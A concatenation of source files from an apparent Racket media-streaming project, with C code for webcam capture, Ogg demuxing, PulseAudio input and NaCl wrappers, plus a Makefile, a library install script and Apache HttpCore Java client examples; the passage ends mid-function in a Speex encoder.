<stdlib.h> #include <stdio.h> #include "misc.h" inline void log_err (char *msg) { int i = errno; printf ("%s: %s\n", strerror (i), msg); } int take_quarter_packed (const unsigned char *buffer, unsigned char *out, const int qtr_row, const int qtr_col, const int original_width, const int original_height, const int scaled_stride) { if (qtr_row < 0 || qtr_row > 1 || qtr_col < 0 || qtr_col > 1) { printf ("Error: quarter coordinates must be in range (0,0) - (1,1)\n"); return 0; } const int row_modifier = qtr_row == 0 ? 0 : original_height / 2; const int col_modifier = qtr_col == 0 ? 0 : scaled_stride; const unsigned char *input_cursor; unsigned char *output_cursor; int row = 0; for (row = 0; row < original_height / 2; row++) { input_cursor = buffer + scaled_stride * 2 * (row + row_modifier) + col_modifier; output_cursor = out + (scaled_stride * row); memcpy (output_cursor, input_cursor, scaled_stride); } return 1; } int take_quarter_rgb (const size_t size, const unsigned char *buffer, const size_t outsize, unsigned char *out, const int qtr_row, const int qtr_col, const int original_width, const int original_height) { if (outsize * 4 != size) { printf ("Error: size should be outsize * 4, is actually %d times: %d, %d\n", size, outsize, size / outsize); return 0; } if ((int) size != original_width * original_height * 3) { printf ("Error: dimensions do not match specified buffer size, \ size was %d, should be %d for dimensions %dx%d\n", size, original_width * original_height * 3, original_width, original_height); return 0; } return take_quarter_packed (buffer, out, qtr_row, qtr_col, original_width, original_height, original_width * 3/2); } int take_quarter_yuyv (const size_t size, const unsigned char *buffer, const size_t outsize, unsigned char *out, const int qtr_row, const int qtr_col, const int original_width, const int original_height) { if (outsize * 4 != size) { printf ("Error: size should be outsize * 4, is actually %d times: %d, %d\n", size, outsize, size / outsize); return 0; } if ((int) size != original_width * original_height * 2) { printf ("Error: dimensions do not match specified buffer size, \ size was %d, should be %d for dimensions %dx%d\n", size, original_width * original_height * 2, original_width, original_height); return 0; } return take_quarter_packed (buffer, out, qtr_row, qtr_col, original_width, original_height, original_width); } <file_sep>#include <stdlib.h> #include <string.h> #include <stdio.h> #include <ogg/ogg.h> #include "ogg.h" ogg_packet* ogg_packet_new (void) { ogg_packet *p = malloc (sizeof (ogg_packet)); p->packet = NULL; p->bytes = 0; p->b_o_s = 0; p->e_o_s = 0; p->granulepos = 0; p->packetno = 0; return p; } void ogg_packet_delete (ogg_packet *p) { ogg_packet_clear (p); free (p); } ogg_packet* ogg_packet_copy (ogg_packet *p) { ogg_packet *ret = ogg_packet_new (); *ret = *p; ret->packet = calloc (p->bytes, sizeof (unsigned char)); memcpy (ret->packet, p->packet, p->bytes); return ret; } long ogg_packet_size (ogg_packet *p) { return p->bytes; } unsigned char* ogg_packet_data (ogg_packet *p) { return p->packet; } typedef struct OggDemux { ogg_sync_state *sync; ogg_stream_state *stream; int stream_is_init; } OggDemux; OggDemux *ogg_demux_new (void) { OggDemux *d = malloc (sizeof (OggDemux)); if (d == NULL) goto no_demux; d->sync = malloc (sizeof (ogg_sync_state)); if (d->sync == NULL) goto no_sync; if (0 > ogg_sync_init (d->sync)) goto no_sync_init; d->stream = malloc (sizeof (ogg_stream_state)); if (d->stream == NULL) goto no_stream; d->stream_is_init = 0; return d; no_stream: no_sync_init: free (d->sync); no_sync: free (d); no_demux: printf ("Error allocating and initializing demuxer structs\n"); return NULL; } void ogg_demux_delete (OggDemux *d) { if (d == NULL) return; ogg_stream_destroy (d->stream); ogg_sync_destroy (d->sync); free (d); } int handle_page (OggDemux *d, ogg_page *pg, ogg_packet_for_each f) { ogg_packet p; int sstate; if (!d->stream_is_init) { if (0 > ogg_stream_init (d->stream, ogg_page_serialno (pg))) goto no_streaminit; d->stream_is_init = 1; } /*else if (d->stream->serialno != ogg_page_serialno (pg)) { XXX fixme accommodate multiple streams in file }*/ if (0 > ogg_stream_pagein (d->stream, pg)) { goto no_pagein; } while (0 < ogg_stream_packetout (d->stream, &p)) { f (&p); } return 1; no_streaminit: printf ("error initializing stream\n"); return 0; no_pagein: printf ("stream_pagein error\n"); return 0; } int ogg_demux_data (OggDemux *d, size_t size, unsigned char *data, ogg_packet_for_each f) { char *buffer; int sstate, more = 1; /* steps 1-3 */ buffer = ogg_sync_buffer (d->sync, size); memcpy (buffer, data, size); sstate = ogg_sync_wrote (d->sync, size); if (sstate < 0) printf ("write failed\n"); while (more) { ogg_page pg; switch (ogg_sync_pageout (d->sync, &pg)) { case 0: more = 0; break; case 1: more = handle_page (d, &pg, f); break; default: more = 1; break; } } return sstate == 0 ? 1 : 0; } <file_sep>all: c r r: peer find "apps" -name "*.rkt" -print0 | xargs -0 raco make -v peer: bindings find "peer" -name "*.rkt" -print0 | xargs -0 raco make -v bindings: find "bindings" -name "*.rkt" -print0 | xargs -0 raco make -v c: cd bindings/nacl/wrapper && make cd apps/coastcast/bindings/vp8/wrapper && make install: check-env cd bindings/nacl/wrapper && make install RACKET_LIBS=$(RACKET_LIBS) cd apps/coastcast/bindings/vp8/wrapper && make install RACKET_LIBS=$(RACKET_LIBS) raco link -n COAST ~/CRESTaceans/ clean: find . -name "compiled" -type d -print0 | xargs -0 rm -rfv cd bindings/nacl/wrapper && make clean cd apps/coastcast/bindings/vp8/wrapper && make clean clean-junk: find . -name *~ -print0 | xargs -0 rm check-env: ifndef RACKET_LIBS make export-env-vars else ifneq (RACKET_LIBS,"$(HOME)/racket/lib") make export-env-vars endif endif export-env-vars: if ! grep "RACKET_LIBS" $(HOME)/.bashrc; then echo "export PATH=$(HOME)/racket/bin:$(PATH)\nexport RACKET_LIBS=$(HOME)/racket/lib\nexport LD_LIBRARY_PATH=$(HOME)/racket/lib" >> $(HOME)/.bashrc; fi setup: make check-env make packages @/bin/bash -c "pushd .;\ cd libs; \ ./install-fastlz.sh;\ ./install-libsodium.sh;\ ./install-nacl.sh;\ find `pwd` -path '*build/*/include*' -name '*.h' -type f -print0 | xargs -0 cp -t '../bindings/nacl/wrapper';\ find `pwd` -path '*build/*/lib*' -name '*.[o|a]' -type f -print0 | xargs -0 cp -t '../bindings/nacl/wrapper';\ popd;\ make;\ make install;" packages: # necessary packages for running COASTcast if ! dpkg -l | grep libswscale-dev -c >>/dev/null; then sudo apt-get install libswscale-dev; fi if ! dpkg -l | grep libvpx-dev -c >>/dev/null; then sudo apt-get install libvpx-dev; fi .PHONY: export-env-vars apps peer bindings c install clean clean-junk setup check-env <file_sep>#include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/poll.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <linux/videodev2.h> #include "misc.h" int BUFFERS_REQUESTED = 10; typedef struct mmap_buffer { void *start; size_t length; } mmap_buffer; typedef struct v4l2_reader { int fd; int mmap_buffer_count; mmap_buffer *mmap_buffers; } v4l2_reader; typedef struct v4l2_buffer v4l2_buffer; typedef struct v4l2_format v4l2_format; typedef struct v4l2_streamparm v4l2_streamparm; typedef struct v4l2_requestbuffers v4l2_requestbuffers; typedef struct pollfd pollfd; inline void prep (v4l2_buffer *buffer) { memset (buffer, 0, sizeof *buffer); buffer->type = V4L2_BUF_TYPE_VIDEO_CAPTURE; buffer->memory = V4L2_MEMORY_MMAP; } void v4l2_reader_delete (v4l2_reader *v) { int i; if (!v) return; if (v->mmap_buffers) { for (i = 0; i < v->mmap_buffer_count; i++) { munmap (v->mmap_buffers[i].start, v->mmap_buffers[i].length); } free (v->mmap_buffers); } close (v->fd); free (v); } v4l2_reader* v4l2_reader_new (void) { v4l2_reader *v; v = malloc (sizeof (v4l2_reader)); if (v) { v->fd = -1; v->mmap_buffer_count = 0; v->mmap_buffers = NULL; } return v; } int v4l2_reader_open (v4l2_reader *v, char *devicename, unsigned int w, unsigned int h) { v4l2_format format; v->fd = open (devicename, O_RDWR); /* set pixel format, width, height, fps */ /* try setting format and size */ memset (&format, 0x00, sizeof format); format.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; if (0 > ioctl (v->fd, VIDIOC_G_FMT, &format)) { log_err ("get video format info"); return 0; } if (format.type != V4L2_BUF_TYPE_VIDEO_CAPTURE || format.fmt.pix.pixelformat != V4L2_PIX_FMT_YUYV || format.fmt.pix.width != w || format.fmt.pix.height != h) { format.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; format.fmt.pix.pixelformat = V4L2_PIX_FMT_YUYV; format.fmt.pix.field = 1; format.fmt.pix.width = w; format.fmt.pix.height = h; if (0 > ioctl (v->fd, VIDIOC_S_FMT, &format)) { log_err ("setting pixel format and frame dimensions"); return 0; } } memset (&format, 0x00, sizeof format); format.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; ioctl (v->fd, VIDIOC_G_FMT, &format); // cap the fps at 20 (for demo purposes). v4l2_streamparm stream; memset (&stream, 0, sizeof stream); stream.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; if (0 > ioctl (v->fd, VIDIOC_G_PARM, &stream)) { log_err ("setting framerate"); } else { stream.parm.capture.timeperframe.numerator = 1; stream.parm.capture.timeperframe.denominator = 20; ioctl (v->fd, VIDIOC_S_PARM, &stream); } return 1; } void v4l2_reader_get_params (v4l2_reader *v, /* output */ unsigned int *frame_width, unsigned int *frame_height, unsigned int *fps_num, unsigned int *fps_denom, unsigned int *buffer_count) { v4l2_streamparm stream; v4l2_format format; *buffer_count = v->mmap_buffer_count; memset (&stream, 0, sizeof stream); stream.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; memset (&format, 0, sizeof format); format.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; if (0 > ioctl (v->fd, VIDIOC_G_PARM, &stream)) { log_err ("VIDIOC_G_PARM"); *fps_num = 0; *fps_denom = 0; } else { *fps_num = stream.parm.capture.timeperframe.numerator; *fps_denom = stream.parm.capture.timeperframe.denominator; } if (0 > ioctl (v->fd, VIDIOC_G_FMT, &format)) { log_err ("VIDIOC_G_FMT"); *frame_width = 0; *frame_height = 0; } else { *frame_width = format.fmt.pix.width; *frame_height = format.fmt.pix.height; } } int v4l2_reader_make_buffers (v4l2_reader *v) { unsigned int i; v4l2_requestbuffers reqbuf; v4l2_buffer buffer; memset (&reqbuf, 0, sizeof reqbuf); reqbuf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; reqbuf.count = BUFFERS_REQUESTED; reqbuf.memory = V4L2_MEMORY_MMAP; if (ioctl (v->fd, VIDIOC_REQBUFS, &reqbuf) < 0) { log_err ("requesting mmap buffers"); return 0; } v->mmap_buffers = calloc (reqbuf.count, sizeof (mmap_buffer)); v->mmap_buffer_count = reqbuf.count; for (i = 0; i < reqbuf.count; i++) { prep (&buffer); buffer.index = i; if (-1 == ioctl (v->fd, VIDIOC_QUERYBUF, &buffer)) { log_err ("VIDIOC_QUERYBUF"); return 0; } v->mmap_buffers[i].length = buffer.length; v->mmap_buffers[i].start = mmap (NULL, buffer.length, PROT_READ | PROT_WRITE, MAP_SHARED, v->fd, buffer.m.offset); if (MAP_FAILED == v->mmap_buffers[i].start) { log_err ("starting buffer mapping"); return 0; } } return 1; } int v4l2_reader_start_stream (v4l2_reader *v) { int i = V4L2_BUF_TYPE_VIDEO_CAPTURE; if (0 > ioctl (v->fd, VIDIOC_STREAMON, &i)) { log_err ("starting streaming on device"); return 0; } else { return 1; } } int v4l2_reader_enqueue_buffer (v4l2_reader *v, int index) { v4l2_buffer buffer; prep (&buffer); buffer.index = index; if (0 > ioctl (v->fd, VIDIOC_QBUF, &buffer)) { log_err ("queuing buffer"); return 0; } else { return 1; } } int v4l2_reader_dosetup (v4l2_reader *v, char *devicename, unsigned int w, unsigned int h) { int res, i; res = v4l2_reader_open (v,devicename,w,h) && v4l2_reader_make_buffers (v) && v4l2_reader_start_stream (v); if (!res) return 0; for (i = 0; i < v->mmap_buffer_count; i++) { res &= v4l2_reader_enqueue_buffer (v, i); } return res; } v4l2_reader* v4l2_reader_setup (char *devicename, int w, int h) { v4l2_reader *v = v4l2_reader_new (); if (!v) { log_err ("couldn't create reader"); return NULL; } if (!(v4l2_reader_dosetup (v,devicename,w,h))) { log_err ("reader setup"); v4l2_reader_delete (v); return NULL; } return v; } int v4l2_reader_is_ready (v4l2_reader *v) { pollfd pfd; pfd.fd = v->fd; pfd.events = POLLIN; if (poll (&pfd, 1, 0) > 0) { return pfd.revents & POLLIN; } else { return 0; } } int v4l2_reader_dequeue_buffer (v4l2_reader *v, v4l2_buffer *buffer) { prep (buffer); if (ioctl (v->fd, VIDIOC_DQBUF, buffer) < 0) { log_err ("dequeuing buffer"); return 0; } else { return 1; } } unsigned char * v4l2_reader_get_frame (v4l2_reader *v, /* output */ int *size, int *framenum, int *index) { v4l2_buffer buffer; if (v4l2_reader_dequeue_buffer (v, &buffer)) { *size = buffer.bytesused; *framenum = buffer.sequence; *index = buffer.index; return v->mmap_buffers[buffer.index].start; } log_err ("couldn't dequeue anything"); *size = 0; *framenum = -1; *index = -1; return NULL; } int main (void) { return 0; } <file_sep>/* * $HeadURL: https://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1/httpcore-nio/src/examples/org/apache/http/examples/nio/NHttpClient.java $ * $Revision: 744516 $ * $Date: 2009-02-14 17:38:14 +0100 (Sat, 14 Feb 2009) $ * * ==================================================================== * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * ==================================================================== * * This software consists of voluntary contributions made by many * individuals on behalf of the Apache Software Foundation. For more * information on the Apache Software Foundation, please see * <http://www.apache.org/>. * */ import java.io.IOException; import java.io.InterruptedIOException; import java.net.InetSocketAddress; import java.net.URI; import org.apache.http.HttpEntity; import org.apache.http.HttpException; import org.apache.http.HttpHost; import org.apache.http.HttpRequest; import org.apache.http.HttpResponse; import org.apache.http.impl.DefaultConnectionReuseStrategy; import org.apache.http.params.BasicHttpParams; import org.apache.http.impl.nio.DefaultClientIOEventDispatch; import org.apache.http.impl.nio.reactor.DefaultConnectingIOReactor; import org.apache.http.message.BasicHttpRequest; import org.apache.http.nio.NHttpConnection; import org.apache.http.nio.protocol.BufferingHttpClientHandler; import org.apache.http.nio.protocol.EventListener; import org.apache.http.nio.protocol.HttpRequestExecutionHandler; import org.apache.http.nio.reactor.ConnectingIOReactor; import org.apache.http.nio.reactor.IOEventDispatch; import org.apache.http.nio.reactor.SessionRequest; import org.apache.http.nio.reactor.SessionRequestCallback; import org.apache.http.params.CoreConnectionPNames; import org.apache.http.params.HttpParams; import org.apache.http.params.CoreProtocolPNames; import org.apache.http.protocol.BasicHttpProcessor; import org.apache.http.protocol.HttpContext; import org.apache.http.protocol.ExecutionContext; import org.apache.http.protocol.RequestConnControl; import org.apache.http.protocol.RequestContent; import org.apache.http.protocol.RequestExpectContinue; import org.apache.http.protocol.RequestTargetHost; import org.apache.http.protocol.RequestUserAgent; import org.apache.http.util.EntityUtils; /** * Elemental example for executing HTTP requests using the non-blocking I/O model. * <p> * Please note the purpose of this application is demonstrate the usage of HttpCore APIs. * It is NOT intended to demonstrate the most efficient way of building an HTTP client. * * * @version $Revision: 744516 $ */ public class NioHttpClient { ConnectingIOReactor io_reactor; IOEventDispatch io_event_dispatch; public NioHttpClient( String user_agent, HttpRequestExecutionHandler request_handler, EventListener connection_listener) throws Exception { // Construct the long-lived HTTP parameters. HttpParams parameters = new BasicHttpParams(); parameters // Socket data timeout is 5,000 milliseconds (5 seconds). .setIntParameter(CoreConnectionPNames.SO_TIMEOUT, 5000) // Maximum time allowed for connection establishment is 10,00 milliseconds (10 seconds). .setIntParameter(CoreConnectionPNames.CONNECTION_TIMEOUT, 10000) // Socket buffer size is 8 kB. .setIntParameter(CoreConnectionPNames.SOCKET_BUFFER_SIZE, 8 * 1024) // Don't bother to check for stale TCP connections. .setBooleanParameter(CoreConnectionPNames.STALE_CONNECTION_CHECK, false) // Don't use Nagle's algorithm (in other words minimize latency). .setBooleanParameter(CoreConnectionPNames.TCP_NODELAY, true) // Set the user agent string that the client sends to the server. .setParameter(CoreProtocolPNames.USER_AGENT, user_agent); // Construct the core HTTP request processor. BasicHttpProcessor http_processor = new BasicHttpProcessor(); // Add Content-Length header to request where appropriate. http_processor.addInterceptor(new RequestContent()); // Always include Host header in requests. http_processor.addInterceptor(new RequestTargetHost()); // Maintain connection keep-alive by default. http_processor.addInterceptor(new RequestConnControl()); // Include user agent information in each request. http_processor.addInterceptor(new RequestUserAgent()); // Allocate an HTTP client handler. BufferingHttpClientHandler client_handler = new BufferingHttpClientHandler( http_processor, // Basic HTTP Processor. request_handler, new DefaultConnectionReuseStrategy(), parameters); client_handler.setEventListener(connection_listener); // Use two worker threads for the IO reactor. io_reactor = new DefaultConnectingIOReactor(2, parameters); io_event_dispatch = new DefaultClientIOEventDispatch(client_handler, parameters); } public void go() throws Exception { io_reactor.execute(io_event_dispatch); // All exceptions will be propagated to Scheme level. } // Start an HTTP session with endpoint host:port using the given session handler. public SessionRequest openSession(String host, int port, SessionRequestCallback session_handler) { return io_reactor.connect( new InetSocketAddress(host, port), null, new HttpHost(host, port), // HTTP host could be different. Change to accomodate for proxy. session_handler); } // This has no business being here and needs to be put into a class devoted to path and query construction. public static String uriForRequest (URI u) { if (null == u.getQuery()) { return u.getPath(); } else { int n = u.getPath().length() + u.getQuery().length() + 1; StringBuilder b = new StringBuilder(n); b.append(u.getPath()).append('?').append(u.getQuery()); return b.toString(); } } } <file_sep>#include <stdlib.h> #include <stdio.h> #include <arpa/inet.h> long bstofs_naive (unsigned char* buffer, long buffer_length, int channels, float floats[]) { long i, j; float* data = (float*) buffer; printf ("buffer length %ld\n", buffer_length); for (i = 0, j = 0; i < buffer_length; i += sizeof (float), j++) { floats[j] = *data++; } printf ("j = %ld\n", j); return buffer_length / (channels * (sizeof (float))); } long bstofs_ntoh (unsigned char* buffer, long buffer_length, int channels, float floats[]) { long i, j; for (i = 0, j = 0; i < buffer_length; i += sizeof (uint32_t), j++) { floats[j] = (float) ntohl ((uint32_t) buffer[i]); } return buffer_length / (channels * (sizeof (uint32_t))); } <file_sep>typedef void (*ogg_packet_for_each) (ogg_packet *p); ogg_packet* ogg_packet_new (void); void ogg_packet_delete (ogg_packet* p); <file_sep>#! /bin/sh svn checkout http://fastlz.googlecode.com/svn/trunk/ fastlz cd fastlz if [ "$(uname)" = "Darwin" ]; then cc -m64 -c -fPIC -O3 -fomit-frame-pointer -o fastlz.o fastlz.c cc -m64 -dynamiclib -o fastlz.dylib -dylib fastlz.o mv fastlz.dylib $RACKET_LIBS echo "Installed fastlz.dylib in" $RACKET_LIBS else cc -fPIC -O3 -fomit-frame-pointer -shared -o fastlz.so fastlz.c mv fastlz.so $RACKET_LIBS echo "Installed fastlz.so in" $RACKET_LIBS fi <file_sep>#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <pulse/pulseaudio.h> #include <pulse/simple.h> #include <pulse/error.h> typedef struct PulseSrc { pa_simple *s; } PulseSrc; void pulsesrc_delete (PulseSrc *src) { if (src == NULL) return; pa_simple_free (src->s); free (src); } PulseSrc* pulsesrc_new (uint32_t rate, uint8_t channels) { PulseSrc *src; int error; pa_sample_spec ss; ss.format = PA_SAMPLE_FLOAT32NE; ss.rate = rate; ss.channels = channels; src = malloc (sizeof (PulseSrc)); if (src == NULL) goto no_src; src->s = pa_simple_new (NULL, "CREST Pipeline", PA_STREAM_RECORD, NULL, /* default device name */ "Voice recording", &ss, NULL, NULL, &error); if (src->s == NULL) goto no_pa; return src; no_src: printf ("Couldn't malloc PulseSrc component: %s\n", pa_strerror (error)); return NULL; no_pa: printf ("Couldn't connect to PulseAudio device: %s\n", pa_strerror (error)); free (src); return NULL; } int pulsesrc_read (PulseSrc *src, const size_t size, unsigned char *buff) { int error; if (0 > pa_simple_read(src->s, buff, size, &error)) { fprintf(stderr, __FILE__": pa_simple_read() failed: %s\n", pa_strerror(error)); return 0; } return 1; } <file_sep>/* * $HeadURL: https://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1/httpcore-nio/src/examples/org/apache/http/examples/nio/NHttpClient.java $ * $Revision: 744516 $ * $Date: 2009-02-14 17:38:14 +0100 (Sat, 14 Feb 2009) $ * * ==================================================================== * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * ==================================================================== * * This software consists of voluntary contributions made by many * individuals on behalf of the Apache Software Foundation. For more * information on the Apache Software Foundation, please see * <http://www.apache.org/>. * */ //package org.apache.http.examples.nio; import java.io.IOException; import java.io.InterruptedIOException; import java.net.InetSocketAddress; import java.util.concurrent.CountDownLatch; import org.apache.http.HttpEntity; import org.apache.http.HttpException; import org.apache.http.HttpHost; import org.apache.http.HttpRequest; import org.apache.http.HttpResponse; import org.apache.http.impl.DefaultConnectionReuseStrategy; import org.apache.http.params.BasicHttpParams; import org.apache.http.impl.nio.DefaultClientIOEventDispatch; import org.apache.http.impl.nio.reactor.DefaultConnectingIOReactor; import org.apache.http.message.BasicHttpRequest; import org.apache.http.nio.NHttpConnection; import org.apache.http.nio.protocol.BufferingHttpClientHandler; import org.apache.http.nio.protocol.EventListener; import org.apache.http.nio.protocol.HttpRequestExecutionHandler; import org.apache.http.nio.reactor.ConnectingIOReactor; import org.apache.http.nio.reactor.IOEventDispatch; import org.apache.http.nio.reactor.SessionRequest; import org.apache.http.nio.reactor.SessionRequestCallback; import org.apache.http.params.CoreConnectionPNames; import org.apache.http.params.HttpParams; import org.apache.http.params.CoreProtocolPNames; import org.apache.http.protocol.BasicHttpProcessor; import org.apache.http.protocol.HttpContext; import org.apache.http.protocol.ExecutionContext; import org.apache.http.protocol.RequestConnControl; import org.apache.http.protocol.RequestContent; import org.apache.http.protocol.RequestExpectContinue; import org.apache.http.protocol.RequestTargetHost; import org.apache.http.protocol.RequestUserAgent; import org.apache.http.util.EntityUtils; /** * Elemental example for executing HTTP requests using the non-blocking I/O model. * <p> * Please note the purpose of this application is demonstrate the usage of HttpCore APIs. * It is NOT intended to demonstrate the most efficient way of building an HTTP client. * * * @version $Revision: 744516 $ */ public class NHttpClient { public static void main(String[] args) throws Exception { HttpParams params = new BasicHttpParams(); params .setIntParameter(CoreConnectionPNames.SO_TIMEOUT, 5000) .setIntParameter(CoreConnectionPNames.CONNECTION_TIMEOUT, 10000) .setIntParameter(CoreConnectionPNames.SOCKET_BUFFER_SIZE, 8 * 1024) .setBooleanParameter(CoreConnectionPNames.STALE_CONNECTION_CHECK, false) .setBooleanParameter(CoreConnectionPNames.TCP_NODELAY, true) .setParameter(CoreProtocolPNames.USER_AGENT, "HttpComponents/1.1"); final ConnectingIOReactor ioReactor = new DefaultConnectingIOReactor(2, params); BasicHttpProcessor httpproc = new BasicHttpProcessor(); httpproc.addInterceptor(new RequestContent()); httpproc.addInterceptor(new RequestTargetHost()); httpproc.addInterceptor(new RequestConnControl()); httpproc.addInterceptor(new RequestUserAgent()); httpproc.addInterceptor(new RequestExpectContinue()); // We are going to use this object to synchronize between the // I/O event and main threads CountDownLatch requestCount = new CountDownLatch(3); BufferingHttpClientHandler handler = new BufferingHttpClientHandler( httpproc, new MyHttpRequestExecutionHandler(requestCount), new DefaultConnectionReuseStrategy(), params); handler.setEventListener(new EventLogger()); final IOEventDispatch ioEventDispatch = new DefaultClientIOEventDispatch(handler, params); Thread t = new Thread(new Runnable() { public void run() { try { ioReactor.execute(ioEventDispatch); } catch (InterruptedIOException ex) { System.err.println("Interrupted"); } catch (IOException e) { System.err.println("I/O error: " + e.getMessage()); } System.out.println("Shutdown"); } }); t.start(); SessionRequest[] reqs = new SessionRequest[3]; reqs[0] = ioReactor.connect( new InetSocketAddress("www.yahoo.com", 80), null, new HttpHost("www.yahoo.com"), new MySessionRequestCallback(requestCount)); reqs[1] = ioReactor.connect( new InetSocketAddress("www.google.com", 80), null, new HttpHost("www.google.ch"), new MySessionRequestCallback(requestCount)); reqs[2] = ioReactor.connect( new InetSocketAddress("www.apache.org", 80), null, new HttpHost("www.apache.org"), new MySessionRequestCallback(requestCount)); // Block until all connections signal // completion of the request execution requestCount.await(); System.out.println("Shutting down I/O reactor"); ioReactor.shutdown(); System.out.println("Done"); } static class MyHttpRequestExecutionHandler implements HttpRequestExecutionHandler { private final static String REQUEST_SENT = "request-sent"; private final static String RESPONSE_RECEIVED = "response-received"; private final CountDownLatch requestCount; public MyHttpRequestExecutionHandler(final CountDownLatch requestCount) { super(); this.requestCount = requestCount; } public void initalizeContext(final HttpContext context, final Object attachment) { HttpHost targetHost = (HttpHost) attachment; context.setAttribute(ExecutionContext.HTTP_TARGET_HOST, targetHost); } public void finalizeContext(final HttpContext context) { Object flag = context.getAttribute(RESPONSE_RECEIVED); if (flag == null) { // Signal completion of the request execution requestCount.countDown(); } } public HttpRequest submitRequest(final HttpContext context) { HttpHost targetHost = (HttpHost) context.getAttribute( ExecutionContext.HTTP_TARGET_HOST); Object flag = context.getAttribute(REQUEST_SENT); if (flag == null) { // Stick some object into the context context.setAttribute(REQUEST_SENT, Boolean.TRUE); System.out.println("--------------"); System.out.println("Sending request to " + targetHost); System.out.println("--------------"); return new BasicHttpRequest("GET", "/"); } else { // No new request to submit return null; } } public void handleResponse(final HttpResponse response, final HttpContext context) { HttpEntity entity = response.getEntity(); try { String content = EntityUtils.toString(entity); System.out.println("--------------"); System.out.println(response.getStatusLine()); System.out.println("--------------"); System.out.println("Document length: " + content.length()); System.out.println("--------------"); } catch (IOException ex) { System.err.println("I/O error: " + ex.getMessage()); } context.setAttribute(RESPONSE_RECEIVED, Boolean.TRUE); // Signal completion of the request execution requestCount.countDown(); } } static class MySessionRequestCallback implements SessionRequestCallback { private final CountDownLatch requestCount; public MySessionRequestCallback(final CountDownLatch requestCount) { super(); this.requestCount = requestCount; } public void cancelled(final SessionRequest request) { System.out.println("Connect request cancelled: " + request.getRemoteAddress()); this.requestCount.countDown(); } public void completed(final SessionRequest request) { } public void failed(final SessionRequest request) { System.out.println("Connect request failed: " + request.getRemoteAddress()); this.requestCount.countDown(); } public void timeout(final SessionRequest request) { System.out.println("Connect request timed out: " + request.getRemoteAddress()); this.requestCount.countDown(); } } static class EventLogger implements EventListener { public void connectionOpen(final NHttpConnection conn) { System.out.println("Connection open: " + conn); } public void connectionTimeout(final NHttpConnection conn) { System.out.println("Connection timed out: " + conn); } public void connectionClosed(final NHttpConnection conn) { System.out.println("Connection closed: " + conn); } public void fatalIOException(final IOException ex, final NHttpConnection conn) { System.err.println("I/O error: " + ex.getMessage()); } public void fatalProtocolException(final HttpException ex, final NHttpConnection conn) { System.err.println("HTTP error: " + ex.getMessage()); } } } <file_sep>#include "crypto_box.h" int crypto_box_get_publickeybytes (void) { return crypto_box_PUBLICKEYBYTES; } int crypto_box_get_secretkeybytes (void) { return crypto_box_SECRETKEYBYTES; } int crypto_box_get_noncebytes (void) { return crypto_box_NONCEBYTES; } int crypto_box_get_beforenmbytes (void) { return crypto_box_BEFORENMBYTES; } int crypto_box_get_zerobytes (void) { return crypto_box_ZEROBYTES; } int crypto_box_get_boxzerobytes (void) { return crypto_box_BOXZEROBYTES; } int crypto_box_keypair_wrap (unsigned char *pk, unsigned char *sk) { return crypto_box_keypair (pk, sk); } int crypto_box_wrap (unsigned char *c, unsigned char *m, unsigned long long mlen, unsigned char *n, unsigned char *pk, unsigned char *sk) { return crypto_box (c, m, mlen, n, pk, sk); } int crypto_box_open_wrap (unsigned char *m, unsigned char *c, unsigned long long clen, unsigned char *n, unsigned char *pk, unsigned char *sk) { return crypto_box_open (m, c, clen, n, pk, sk); } int crypto_box_beforenm_wrap (unsigned char *k, unsigned char *pk, unsigned char *sk) { return crypto_box_beforenm (k, pk, sk); } int crypto_box_afternm_wrap (unsigned char *c, unsigned char *m, unsigned long long mlen, unsigned char *n, unsigned char *k) { return crypto_box_afternm (c, m, mlen, n, k); } int crypto_box_open_afternm_wrap (unsigned char *m, unsigned char *c, unsigned long long clen, unsigned char *n, unsigned char *k) { return crypto_box_open_afternm (m, c, clen, n, k); } <file_sep>#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <pulse/simple.h> #include <pulse/error.h> #include <ao/ao.h> #include <speex/speex.h> #include <speex/speex_echo.h> #include <speex/speex_preprocess.h> void init (void) { ao_initialize (); } typedef struct SpeexEncoder { void *state; SpeexBits bits; int frame_size; int sampling_rate; SpeexPreprocessState *pp; SpeexEchoState *echo; int16_t *echo_frame; // used to save "the last input frame" for echo cancellation pa_simple *pa; } SpeexEncoder; SpeexEncoder * new_speex_encoder (uint8_t tail_coeff, unsigned int *frame_size) { int quality = 10, cpu = 10, denoise = 1; SpeexEncoder *enc = malloc (sizeof (SpeexEncoder)); speex_bits_init (&enc->bits); enc->state = speex_encoder_init (&speex_uwb_mode); speex_encoder_ctl (enc->state, SPEEX_GET_FRAME_SIZE, &enc->frame_size); speex_encoder_ctl (enc->state, SPEEX_GET_SAMPLING_RATE, &enc->sampling_rate); speex_encoder_ctl (enc->state, SPEEX_SET_QUALITY, &quality); speex_encoder_ctl (enc->state, SPEEX_SET_COMPLEXITY, &cpu); *frame_size = enc->frame_size; enc->echo = 